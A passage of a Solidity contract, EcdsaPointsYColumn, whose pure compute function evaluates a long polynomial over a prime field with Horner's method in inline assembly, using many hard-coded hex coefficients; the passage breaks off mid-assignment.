pragma solidity ^0.6.11;
contract EcdsaPointsYColumn {
function compute(uint256 x) external pure returns(uint256 result) {
uint256 PRIME = 0x800000000000011000000000000000000000000000000000000000000000001;
assembly {
// Use Horner's method to compute f(x).
// The idea is that
// a_0 + a_1 * x + a_2 * x^2 + ... + a_n * x^n =
// (...(((a_n * x) + a_{n-1}) * x + a_{n-2}) * x + ...) + a_0.
// Consequently we need to do deg(f) horner iterations that consist of:
// 1. Multiply the last result by x
// 2. Add the next coefficient (starting from the highest coefficient)
//
// We slightly diverge from the algorithm above by updating the result only once
// every 7 horner iterations.
// We do this because variable assignment in solidity's functional-style assembly results in
// a swap followed by a pop.
// 7 is the highest batch we can do due to the 16 slots limit in evm.
result :=
add(0xf524ffcb160c3dfcc72d40b12754e2dc26433a37b8207934f489a203628137, mulmod(
add(0x23b940cd5c4f2e13c6df782f88cce6294315a1b406fda6137ed4a330bd80e37, mulmod(
add(0x62e62fafc55013ee6450e33e81f6ba8524e37558ea7df7c06785f3784a3d9a8, mulmod(
add(0x347dfb13aea22cacbef33972ad3017a5a9bab04c296295d5d372bad5e076a80, mulmod(
add(0x6c930134c99ac7200d41939eb29fb4f4e380b3f2a11437dd01d12fd9ebe8909, mulmod(
add(0x49d16d6e3720b63f7d1e74ed7fd8ea759132735c094c112c0e9dd8cc4653820, mulmod(
add(0x23a2994e807cd40717d68f37e1d765f4354a81b12374c82f481f09f9faff31a, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4eac8ffa98cdea2259f5c8ad87a797b29c9dccc28996aed0b545c075c17ebe1, mulmod(
add(0x1058ff85f121d7902521abfa5f3f5c953fee83e0f58e069545f2fc0f4eda1ba, mulmod(
add(0x76b4883fd523dff46e4e330a3dd140c3eded71524a67a56a75bd51d01d6b6ca, mulmod(
add(0x5057b804cff6566354ca744df3686abec58eda846cafdc361a7757f58bd336e, mulmod(
add(0x37d720cf4c846de254d76df8b6f92e93b839ee34bf528d059c3112d87080a38, mulmod(
add(0xa401d8071183f0c7b4801d57de9ba6cda7bd67d7941b4507eab5a851a51b09, mulmod(
add(0x603e3a8698c5c3a0b0b40a79ba0fdff25e5971f0ef0d3242ead1d1a413e443b, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4b74b468c4ef808ddcc6e582393940111941abece8a285da201171dc50525c7, mulmod(
add(0x761717d47600662a250116e2403b5115f4071de6e26e8dc231840eeb4484ec3, mulmod(
add(0x5a593d928542a100c16f3dc5344734c9ef474609bd7099257675cef0392fab8, mulmod(
add(0x7d2292c8660492e8a1ce3db5c80b743d60cdaac7f438b6feab02f8e2aade260, mulmod(
add(0x480d06bb4222e222e39ab600b8aadf591db4c70bae30fe756b61564eec6c7e, mulmod(
add(0x59fef071cf1eeff5303f28f4fe10b16471a2230766915d70b525d62871f6bc6, mulmod(
add(0x6e7240c4a94fa3e10de72070fd2bf611af5429b7e83d53cfe1a758dee7d2a79, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x247573f2f3fbd5386eac2d26851f9512cd57ad19773b8ca119d20852b9b6538, mulmod(
add(0x739edb8cdd16692deaba7fb1bb03f55dd417891bacb39c7927969551f29cb37, mulmod(
add(0x6e0bed1b41ee1cf8667c2924ebd460772a0cd97d68eaea63c6fa77bf73f9a9e, mulmod(
add(0x3ede75d46d49ceb580d53f8f0553a2e370138eb76ac5e734b39a55b958c847d, mulmod(
add(0x59bd7fe1c9553495b493f875799d79fc86d0c26e794cce09c659c397c5c4778, mulmod(
add(0x47b2a5ef58d331c30cfcd098ee011aaeae87781fd8ce2d7427c6b859229c523, mulmod(
add(0x14ef999212f88ca277747cc57dca607a1e7049232becedf47e98aca47c1d3fe, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x38db61aa2a2b03053f5c51b155bc757b0634ce89baace113391369682fc1f74, mulmod(
add(0x43545892bb5a364c0b9acd28e36371bede7fd05e59a9dcd875c44ff68275b2b, mulmod(
add(0x5599e790bd325b322395d63d96cd0bd1494d4648e3d1991d54c23d24a714342, mulmod(
add(0x675532b80f5aaa605219de7fe8650e24fee1c3b0d36cdf4fb605f6215afacee, mulmod(
add(0x278a7c68986adbe634d44c882a1242147e276fee7962d4c69ca4c8747b3e497, mulmod(
add(0x75a0f99a4dec1988f19db3f8b29eeef87836eb0c3d8493913b7502cfedcef28, mulmod(
add(0x2f6efb89f27d2c0a86ec1e6f231b225caf2af9be01aca173a15fa02b11fdf24, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x10f236430f20aafda49d1c3e3759c510fdf0c0c19f89df6d5d71deac88b547b, mulmod(
add(0x7b16c33c4a8ffcecbd83f382469e1d00a340ceab5e7d9c0bd4fd010b83f4310, mulmod(
add(0x6ae3ee97ea5dcfbb7c36cffd89665baf114fae391c0367be688db09861a8ca1, mulmod(
add(0xcb3335374cc2a2350fe53d2389f04952c4d634f489031742dfccca17be2e09, mulmod(
add(0x1030d58878296e14b1c5bcafe7e817ebe4aa1039aa96b9d0dd7fc915b23f42a, mulmod(
add(0x3a663fc27ec3ad56da89d407089bcec0971cebcb3edf0c393112501919643d7, mulmod(
add(0x71b2b6b03e8cc0365ac26c4dbf71e8d426167d79f8bd1af44738890c563062a, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4f63db02e10fbe428a5dda8d9093feef46cc19568a3c8ad2fce7e7519004095, mulmod(
add(0x2bfd1294f111a5a90842d19cffb97481aefbc09ab6c47d7dcf91ba228019c07, mulmod(
add(0xdaee1c7b34ecb34717b7313dc4a299dd1a161447e2e0249426a6fc33a72289, mulmod(
add(0x76323f8567119897f10d58e1552c98f5a62f03a16d3737e20fc2b0a31a3a843, mulmod(
add(0x65d50aa3c1d84a3deee14057eec98656a1296cdcbe32250bfdaa50ffac4c5dc, mulmod(
add(0x253bf2869135f4bda4029cae2819b2f468ae88530f3ea771090b2727814c494, mulmod(
add(0x104b04e96151f5103118c4eb556cd79899148fd6656e73cb62f41b41d65e4d8, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4e0a5dd802deed7cb8d06527beb15dad32547bae77141c32473f4c8148912e3, mulmod(
add(0x33ff2d848bf237f536524da818598ae0f2516ebee526b77957448973eefacd3, mulmod(
add(0x5a00feeb391114d7b976654ab16ddf8360f05671b34d4a97da278c0aef34d76, mulmod(
add(0x7e8659c39d7a102a198f0e7c3814060926ec0410330dd1a13dfadeab4e74593, mulmod(
add(0x5ba89e0eb3830039d0f8a9ca00acef15db22374c965b01abc49dee46270a7d, mulmod(
add(0x30a2e8ac9e6605fd722dffb4caca8c06dd4a8968a7bf41a5371cb1a07d11c00, mulmod(
add(0x761a240cd8aa2f135daf0760bfc2c9d5e896e93a45426571cdad9118722e2b0, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x1b0fa36439192f135c239918bf47ad14b55ced699f4582d929a60dd227b34ff, mulmod(
add(0x472d99d1a6e1a6aef339eab1af3d53af7a8326e4d0a6bac73c3a159031c3686, mulmod(
add(0x2046e1b4fd4c108e8f832f5bcc4dd46abf0d19ef0237beaec29d6c12fb9832e, mulmod(
add(0xa758a70ba6a0cbcbc65abfeca51359904f790752c3df55d42707253d8dea70, mulmod(
add(0x6eb66d366da57e4ae717307dfc3351579fe857c51aa82b95044473c9ed14377, mulmod(
add(0x59d0d8ca9ecda81081dfcae7580ab3c08a72195438c1556000c0c1dbdc08174, mulmod(
add(0x776459dfedbbdfcef7a31e0f60c6480fc0676b280fdb6290859fe586d6e6106, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x23590dabe53e4ef12cba4a89b4741fcfaa232b7713d89df162031c8a627011e, mulmod(
add(0x339b405bffb6dbb25bc0432e9c726b7f94e18cf1332ec7adfeb613345e935ab, mulmod(
add(0x25c5f348c260177cd57b483694290574a936a4d585ea7cf55d114a8005b17d0, mulmod(
add(0x68a8c6f86a8c1ebaeb6aa72acef7fb5357b40700af043ce66d3dccee116510a, mulmod(
add(0x1ea9bd78c80641dbf20eddd35786028691180ddcf8df7c87552dee1525368ba, mulmod(
add(0x4e42531395d8b35bf28ccc6fab19ea1f63c635e5a3683ac9147306c1640e887, mulmod(
add(0x728dd423dbf134972cbc7c934407424743843dd438e0f229afbcca6ce34d07d, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x30b11c32e8aab0c5908651a8d445395de52d5ce6a1efe75f2ad5e2c8c854a30, mulmod(
add(0x44938959c2e944eb6e5c52fc4ee40b34df37905fa348fa109f6875c1aa18000, mulmod(
add(0x655038ca08eba87484bc562e7fd50ce0584363278f9d716e31c650ee6989a2b, mulmod(
add(0x4f81a946bb92416d212e4d54f2be5fa8043be6fa482b417d772bfa90be4e273, mulmod(
add(0x605a244f646a825602891bf9ddffef80525010517b32625759b0bf5a7f2c386, mulmod(
add(0x2e1b2a3c32aebc0be30addd8929c01714783aaf01be8a1d35e830646e8a54f0, mulmod(
add(0x534a4f3cf71c93023e473f12e407558b6c24b712204fd59ddc18c7bcddd571e, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x3e850e31c0345726c1ace38537dd88a50c85d6819ae98add1bbd62b618f7a1c, mulmod(
add(0xd77a8e8eed7ce4931a6d2a4774c21864e2c9f468d080af9aba6756433a1a8d, mulmod(
add(0x62be425458d26cfedf8ec23961cdfd9f4abeb21f1debbe87bd51469013358fe, mulmod(
add(0x7d7faca17be1da74cf132dda889a05fce6e710af72897a941625ea07caa8b01, mulmod(
add(0x580550e76557c8ff3368e6578a0e3bed0bac53b88fefdde88f00d7089bc175d, mulmod(
add(0x1345876a6ab567477c15bf37cc95b4ec39ac287887b4407593203d76f853334, mulmod(
add(0x4a92733a733f225226a3d7f69297e7ff378b62c8a369e1bbf0accfd7fb0977e, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x2833391a62030808228d14437d6f91b31c0038c14988a23742b45e16f9b84b5, mulmod(
add(0xa737d6916aa6a869252d8ff294a55706e95e0844e6b047755704e37d978e09, mulmod(
add(0x2652523cbbec2f84fae1a17397dac1965127650479e1d5ccfc6bfbfcbb67996, mulmod(
add(0x6dcfc3a99563a5ba4368ac4f11f43e830c5b620a7273330e841bedec0bfb5a, mulmod(
add(0x5428ff423f2bbabcb5f54aafa03d99a320b4b255115351f50b229eae5522178, mulmod(
add(0x76640613af9ed1a125624e0c38252bee457ce87badb24fc4f961e55883d9077, mulmod(
add(0x375a5d9b11c83d06a04dc9f1908b8183adc6f04e5b2ceeaa23d3b68c973ee77, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x327319fcc0d34a0d64f5acab00244b43674a60bef754844fb2920c87c90cff0, mulmod(
add(0x573b13b32161c11c9b16eff7cf93fa770a3ef667547a27503e39092aeabf73e, mulmod(
add(0x41776c662b44a36c7075097c14b6010cb321591a4eca2866d58252eaf9471ac, mulmod(
add(0x7f2abefac9e7f8109b0a2d25d0bd297059e45dd66798ac8b299f0a3e442dd2c, mulmod(
add(0x60bdb98c079bd5cef216803b056afce03f6ea41934275c965d6e196240fb953, mulmod(
add(0x1e141c5429a369996563573bf61d7f713cb7d25baadff636ba2756c65a910ee, mulmod(
add(0x284f7815a7eabc1dcf56da511f7d739f1a199f8ffaf3474f645d2fc93327dc, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x70930735d913d54915fba20c97f07cba8f33eb8f4f81fd869699a10e83264cd, mulmod(
add(0x1e3b6498f0daba2fd99c2ac65461c3fa519cb738b53cd6f002e97199fa4161c, mulmod(
add(0x3d8506e792fa9ac86ac9739d3d5bf63cfc13c456a99c8581adf590c8d9b72eb, mulmod(
add(0x5e4b0ecc6a6c15ed16c1c04e96538880785ff9b5bff350f37e83b6fed446f14, mulmod(
add(0x21f5ea8660d290f28b9300e02ed84e110d7338a74503b369ad144a11cf79f63, mulmod(
add(0x7b9cd3b277f00a75a17961d2d8e46e6a1838c8500c569cdcad08bd4e0cbae84, mulmod(
add(0x755f0e4c374e2fa4aa7eda10041e2139a4a7793eea44f415c73ad4fcba1758, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x3678de28b6896959edf5c9dc0caec59b02dfbbf54811f87939b32d0523f58bb, mulmod(
add(0x5820792f23a13d58ddef0607950d422598bb1f21888dace88929fbe7d4828c4, mulmod(
add(0x26a4b2a61f40c1ad77737b99cb27d2f3118622be64f0120907e2589d2f25ebf, mulmod(
add(0x4b2222d0aee638c7e5efd8ada791638ac155a01b78f3b532283574653998bb2, mulmod(
add(0x5db8c52b6adb520496f9edd7105c92df67e8605ff4e0cc59992c3eb651ac7a4, mulmod(
add(0x3aa748723229eb8b33354e0901f50ad052b6c1006916790c979133c4442be90, mulmod(
add(0x16a36769ee50227c564bebce3d9cd7c4ca55702a7c7ccf403075f68f05a0c2, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x171f0638dedf0b69655fa9930bcbc91b257e299a6717bd8ea23ef550c8faff5, mulmod(
add(0x29889daac66c404d6491ec3a435d810a2877d885df1a3a193697b79b4af39c4, mulmod(
add(0x229d7fc2a1bcfbe00d5773f8dadd70a2641d8578fa73e66263b3512d3e40491, mulmod(
add(0x73200d12e733294b5cbb8ffe7fb3977088135d0b0e335135f9076d04a653c58, mulmod(
add(0x6d7af6524127a117184a0c12a6ff30d28b14933a4e96bb3b738d2a36db72e84, mulmod(
add(0x7af8995e2ceed8841e34d44365c7ca14f5980a6a5c67b9813fa7bfd74a9c1b1, mulmod(
add(0x3cd13f84bb7ae6eeccc1012837d2f3e017f069e66cf047172bc70371f5aed38, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x658160ea7b654d786dc624b258c691f594e080610c2d41d6ebea0d8e3396849, mulmod(
add(0x56cbe248ebbc2f57ca8b943b219ba245791592f687815293a4499ef598fa9b7, mulmod(
add(0x2a48058c77edcd75dd4323d9bb9eccb854009b1184fd716a8202f8627bb5447, mulmod(
add(0x3444c0f008988c8f600270b365ff926f016e49a54ab35bac4f3b3a42a5879b1, mulmod(
add(0x6d1c3edcf1de16a4e0ad7d8aa099a31fa2cfbf81f6d1a5798bd1ef93ff906af, mulmod(
add(0x7fc7d854c9d0b3bfbf826c384b3521af0f29f975613e8ea6dc14f37d8beb54c, mulmod(
add(0xded0f75cd0a6a5401a954d26880eaf12050ce6458d3254c9dd6354bf66278, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x54ab13ae1984dcc7d38c867a47f4a8cf786079ee07cc94ab5ec1962c21f638b, mulmod(
add(0x688c61ee887c1497ffcef82163f1a81bf7778f2c314ffbd325627bf0b25dc5a, mulmod(
add(0x657060a10db73c4a9b6aa6288dd6164e0b50a4e6efbc2ee599a0cf4fda33b81, mulmod(
add(0x4c05a7abaaf08f21d93b2257d4f4a3ab2b44f4ac44ce0444418c864ca18470b, mulmod(
add(0x19637a12aa8b822c4a3f3551ef6c538043371a12a962de1dc25d67e0a5ee561, mulmod(
add(0x7b74edd15d97b289da4040272cfc573f69a8c9a8b36d05e3e50b598508b7f9d, mulmod(
add(0x6fcc261ded0ba97b4defc7c9bcd32b5dac89e4c08cb55cef98c6b50f5a3a289, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x601a139ed75acbecf557cd6513171385a119087585111c30bbc1b65cd6d30d, mulmod(
add(0x199d80ad30b4b330fc8a063d1e87307993e1d98822a1729488ba8a586045691, mulmod(
add(0x17ab90241b58bd3bd90b8a5c7f30aa9e5afeedbe1c31f21ca86c46c497b573c, mulmod(
add(0x7d92a463e2aec09eb86f4647dc9ec241904135b5eb53ea272e809e58c0a271e, mulmod(
add(0x51d6322f7d582892421e977464b49c4e6e64af2438da9a7f21a061c77712dc, mulmod(
add(0x610bf9b7ea4557d72411ec90fb677f9a2ccb84c76f003954da4e7f439c9a84c, mulmod(
add(0xccee381472bb7dcae008316038c87a44fd9295f730e389eff14e86442c41b8, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x79fd6f5f9b042ece36af6b10eae2eef9de9c9dd18752eb66868a0c301015dd9, mulmod(
add(0xf1f93c3d919653f02fba06fcba1ab89497fff53eceff6a7d129887d5a9e3b, mulmod(
add(0x43f51dfe0f1cf290c9a522e2a5e734f79d220be80348438c676295c3d429e, mulmod(
add(0x27e76848780aba5b12061bffefff1710995586618a2f32792d62771d31ed519, mulmod(
add(0x7e176a66dcfd58e240c4546cd760b7e5ad02e4f0265c6a2f38d710bbdf99d55, mulmod(
add(0x2a17a5c34f9f598deb5bec334fde606eaa5601df908eb5825ecf70f9cecec3f, mulmod(
add(0x77b10e23b08892ab18cc6b14dfda6f4be5c2fec94a12e3622622376edd0d6a8, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x78aafbe80fa5ee9a846e991bf35b81567a6dcbb1b190e7ee47e53fc66422e84, mulmod(
add(0x69d95f3c7892a1cf65b45c324be2294c4c5459e05e0feaa0b8bb98cd8bc958f, mulmod(
add(0x201019c76d9aa29a00e6b18a4eeac7b1322b44285c57cf4c0b68a87120b1d31, mulmod(
add(0x7238f034b8c57c8b59b0f744ababf9da8229152a051d4f3b3c4995233ac1111, mulmod(
add(0x219557f1604be8622e697e986c03d2a49e40cce558a264bf4f1ebe06493eceb, mulmod(
add(0x329230075f64ffbf631eb0c40b97d71b4dc38a08bd18b638f57e5644680068c, mulmod(
add(0x1958435eb08883bd69b6a56a8f3103c22f8ae206a3d4deaf4a04118b4dd6a6c, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0xb8dd33ef8726747fb368aedf80c2f4a720bc1b5220f4a3f0e56e2fafb7e243, mulmod(
add(0x6eba866251e1dca38a21c8b3fad0aa3c22a45dd89884c4c68bd7ef67de64f52, mulmod(
add(0x90b2b18b3fc2919a55b71ad6d6fa67dda752bd02c985b59e6554f557fe4a2e, mulmod(
add(0x2f47cde744314dc0502faffb0387a2e765e4354b0516ee9ab0b97a1b6c33ec2, mulmod(
add(0x4adaabee9ab3c6ee7fc67a2ddc09c5185755dcc76cc3b814a6b71aa7ae542ea, mulmod(
add(0x1a4bdaf2bff969eff8cef73e762b6346492b8d0f17b2e42956c526f625241ea, mulmod(
add(0x15ba3c5a882d4dfe3e23db18368ade6b2d10ef52e34f12ce0d62e7183c10f7e, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x38e5702bb10256e1856a5bfb03a06b231b89a36e2f84af80bcd2d027153d847, mulmod(
add(0x7f71cb5526600d15d3413ec971ee3b133718224b3cbdc68171a53d7c8684382, mulmod(
add(0x64d672ca00300ddd5e9c9d2db433d7623bb54c8eb2db51b235a07616f1517e5, mulmod(
add(0x84add7269e2e41ea57aaed996f4c012ba7003ea2b994670cc0d554b7a8bd2a, mulmod(
add(0x28b38e0334fc06af4c94ec4f9434923d4149cc51817526597423fd4692c59ad, mulmod(
add(0x6d28879c6f75c4ede18e1b94ffff964d08c79038fd9ba2e7873cbefb5f323db, mulmod(
add(0x1fac2f441d05a3b483675200cb1ebc6f4ca6ecc5ae60118fe8745f95217bf8b, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x45b4e74f19b293bc3d3d172a101e344558fcf4ccfe5eecefe31f45a45614df7, mulmod(
add(0xe505592d606917f898c54a7afc45b328be3cd48121aee2e8f05185a3e23e5f, mulmod(
add(0x2a427d70a34b6b5237894f065ef5d60a9872ba444d47d98648b080b8ddb2a68, mulmod(
add(0x40a9cea0394d15ef057c2923d4185f290fe2347e00529d92f927ef506e3b5e7, mulmod(
add(0x31a77aa370bb597dbdd0422612a7dd947aae09a5b0b17d1996f13a85103d150, mulmod(
add(0x68384718bd3bb23f32999f1edcb2dbddd8136259e676c4492d0cafe80ffd856, mulmod(
add(0x1a8d4b2044b8e03b325c353f3f92283013920b92f479064b6e93159d2ed3ba0, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x3238aeb8f6bea8bcaaa1bdd5b4f917ccfad8eab031785ccdc648b47d7ea4be8, mulmod(
add(0x399c00b8ebb398248bb1f52528d5241e7366b73c2d89f57a11dc82c530cc57c, mulmod(
add(0x68c5830832f6270a189b074d7675fcbc1d1c5cc06ce9c478bf8f4d5ac1bf40, mulmod(
add(0x4387edee6899d4a85883d2f8524978a4634ff82779f150b7b0c861bb315ed3f, mulmod(
add(0x3159144c85f2c515eb806e5aedd908553057b69c556d226adc6e4511a35423c, mulmod(
add(0x2868a08eae382c069047152ee964ac5ebd242b44267e97e578802440ef764f5, mulmod(
add(0x68486394265c9dc8fae42c8fd39605d3179c981cb44cbe33740a3deb907bc59, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x47d21828025d0cbab84084965a49dd14c7833aac562b55de808a94777df2ea3, mulmod(
add(0x50c92b3e6848a21001be2a268615e1e26cb4918ecb09640efaaf1d8b71568fb, mulmod(
add(0x3c4ad04a5a057e4411487858dbe16af8e3fc065ef7400749ffdc248bdb25bc5, mulmod(
add(0x3924324af1994280f87f289fdae0b9a2d8cb9914ec37d319c18daf029211815, mulmod(
add(0x1cb6e2fba23730f5bf9d8e726569b6e8bf6b5ffe8520339503c5469cc3713a2, mulmod(
add(0x360274f27df6eeec0b7b65fbb227a8214ac3e55cb37b1970e18489ef5b574e1, mulmod(
add(0x357bf5d87c973292381fa4320114551a837a1d6cb6e2bb0eeba534fb2e01742, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x77dee5f03389585fad0d1f2a8accfa4cb985344891b8befaee42f3462cb48a, mulmod(
add(0x5ac4bcdb9c14634ab83c13a30822ddbabc54248cf1177b11cc2aed24d2d32f5, mulmod(
add(0x5dd2e0680c7eff25211f31d3c30a9f454500d6eb09d46d87a75a42b190203cb, mulmod(
add(0x22aa8c5c5ff26f9a0edc768ae32ff4f71a71205b4e83cfa0cc687a1e02566ba, mulmod(
add(0x78f49c214872b5cce18ead0207a165fb741ea818a69cfe9647737323f70f4f5, mulmod(
add(0x2d4acebd804035257147ad8d8419a5f5762b4b543c4846ef9acf41856e672ee, mulmod(
add(0x6207c6a2fd70c19a10430566c9efaad95eab8cbddf308f0057c81f3155a25a0, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x264a535ae10091157ed59b04955dff66897af74cae20456bb830336b803ae47, mulmod(
add(0x160abeb38bc4f22af5fe618c19c77c39903007900722bdbdeaee059f31544c8, mulmod(
add(0x4846d310812d81ffda3731e8289005e2f0e05411e76b1c84332c3ee9e831afb, mulmod(
add(0x2e14e83be58cde3ed5f3fec8ba6462493a4a2f0f7d6c846006220eccd49ef25, mulmod(
add(0x73724274fdd351c378e597da1615dc51058e14994464cb7b318766199ac2a35, mulmod(
add(0x23bf372b0b59abf250463697ef4b2096eb1c9674613918b4d0c79aa10d9fd59, mulmod(
add(0x737dba18eb055a12d842bfae32fd146dcd2d7bb932a2591aa864458d6d652, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x7616cfc6834643d4b95ed1cfec036f816a7c3d3b9800f301f98ddf341712ebf, mulmod(
add(0x318e5a52d685eaa06e0f39159a344b3d97b52688b671d133954aeff0bc17707, mulmod(
add(0x7ff76956e0cd2b490b47a0a0497df5f874cf47f54c45f08101256429b48460, mulmod(
add(0x181ef9cde124459dc0e2aaf93512abd49a10328fb93dfc4d49ab671db64bbc4, mulmod(
add(0x2353c4a418bdc1e461be162140cc69c26eb9d99f08924991f85058f87f6df41, mulmod(
add(0x775d95a0beb287c98663a3f9a9c577ffc67c1fe6fbe2db5b08829a2c3eac922, mulmod(
add(0x316ce6b23e720b8302e2d4bd968c0f140f69930e46a54784a7cee7e0b8a0c8, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4ce0a14a5a9c30a38062eb8870eeb4ff3562db743c0f3eede2e3d3862a2eb7c, mulmod(
add(0x47f02fc512b153462379f4f793c7cab9e659bfdb07d3439d29039f566b7236d, mulmod(
add(0x6f617dce150ea148cb8c7488fe4caa920b2000bc8122cce1891e4b76cddc9d4, mulmod(
add(0x685af2d7bbf30cd0c5c3d41c430a8657eeafeeb4596165faaa73d802087ad80, mulmod(
add(0x4fb0c93fe30da048576fe5e839483636218dfdda3d05f1d68847a4c0167597f, mulmod(
add(0xb806f4e19770279fab5427b8eaf5bc68bf984d6ccea1e878a7aaf32c9975d9, mulmod(
add(0x59869515fb57ea7733567e5d849bcaa00c00e0f86f4ebbd2c7a6f4c0c77692b, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x175a904681c7a91856bf7fcf8410d2c19eb8705267914489664a1ea2af5b8fe, mulmod(
add(0xc61c74cc988663ee09f4c725d5b1f04549bd342d3550ce17427ac75592b637, mulmod(
add(0x206d7f23d0fe1b1c0967486ebb792d7fdf5b1691d2c2f9306e211d3b849526b, mulmod(
add(0x4255a568f4597862e1dfe0c391b97059d179d7eb4d868f61364835e5028f9dd, mulmod(
add(0x5fcfeb78685abb1ce610e516ab7e2aa210fd90844c8d1c89cd798f3d71bbcb3, mulmod(
add(0x50f5f6adbf0b9abc6e231b855018f4ec806a4f199cc511bed5c423ebef298e4, mulmod(
add(0x7b077d27c7007656025224fa4e528b4c4261f43c3da1e42bd1349403af55cbb, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x30632b3865a272a1a00270430744ee90b40ff16e1fc44515876ce8e36215ca0, mulmod(
add(0x728771890334d0c9b0f400543bdc13ea6890497bc87c509a04f8014916c13a5, mulmod(
add(0x72c0dd24a576b47a84cdd1a20227773b5621f85b781c288625e3368e1cf738a, mulmod(
add(0x6dff267c3bbce68474294da908df4f5cf2a4160c638f7cb45c098057e968f44, mulmod(
add(0x842955243a56778a332ba9be0b22b2af62efaa50068d3078675fb76c225e76, mulmod(
add(0x14899e0f97aac917d46ce5e9ddf11194fb846d2c52726af4085f27c570a98a9, mulmod(
add(0x1bd842a4ec97e1489ceb542bd3161e5a00ce431547bfadfbced954d993b0a11, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4e23809ce49747990e43b2d976083dc84d67e75cf22e5a76ad5b7a2dca50b3d, mulmod(
add(0x40f019a18b8097235264cb8efee7d149321a199ccd32ffac43b5a778dfadda1, mulmod(
add(0x1495d40cf3f13c5fc90653c2b2f02e0b833790c07576286d3127f745ea920ae, mulmod(
add(0x7c3234094dff9a45064a5b9abd0667c04dd76c62722984f7f8475e7cc344c06, mulmod(
add(0x119bcf6402ad9953851bac8e318d50af699b0cc75e2597aff0a2cc521975aa4, mulmod(
add(0x1dbdc2ea2e555309578eeb2352fbc47c8fd5ed77cc09903b577700f9a4d1be1, mulmod(
add(0x76d656560dac569683063278ea2dee47d935501c2195ff53b741efe81509892, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
